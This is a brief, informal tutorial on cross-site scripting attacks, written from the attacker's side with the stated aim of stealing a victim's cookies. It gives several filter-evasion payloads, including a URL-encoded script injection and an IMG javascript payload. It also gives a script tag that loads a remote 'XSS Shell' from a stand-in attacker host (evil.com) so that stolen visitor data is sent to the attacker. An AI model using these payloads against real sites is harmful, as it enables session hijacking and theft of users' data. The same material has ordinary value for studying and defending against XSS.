— XSS //
XSS: Cross Site Scripting (X=crossed, S=site, S=scripting)
Definition: This is commonly a client-side attack but if embedded correctly in the source it could cause permanent damage to your website (mainly persistent XSS and/or XSS Shells).
This attack just brightens up every month you see it in action. What we do with this attack is simply use Javascript to evade website orders, so for example, if we wanted Bob’s user agent information, we could use our very own XSS Shell to gather not only the user agent information, but his cookies!
Starting off, if you want to identify vulnerable sectors quickly, once you broaden your attack, view the source for combinations of <XSS or <XSS, if it results in <:XSS, then that means your request was filtered. All you really have to do is look for the finalized result, which in our case was <script>alert(„XSS“);</script>
But this doesn’t stop some people, some sites have basic filters such as:
1 ) Character evasion (<script src, etc)
2 ) <script> or any other Java relation blocked
3 ) Character(s) escaped
With a simple URL encode, we could bypass this filter, an example being:
localhost/search.php?res=%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E
Our request is encoded but remains readable by the web server’s GET/Auth system. What this does is bypass basic filters (mainly character escalation);
If this still doesn’t work, its probably frustrating you but you could try reading from img src that pertains your Javascript request, example:
<IMG SRC="javascript:alert('XSS')"
If it has Character evasion as a filter, we can bypass this quite easily because there are alternatives is <script> is blocked, but in this case we will concentrate on successfuly including our XSS Shell:
<SCRIPT a=">" SRC="http://evil.com/evil/shell.asp"></SCRIPT>
If vulnerable, its going to be embedded in the source and everytime a victim visits, logs get transferred to the index page for the admin portal.
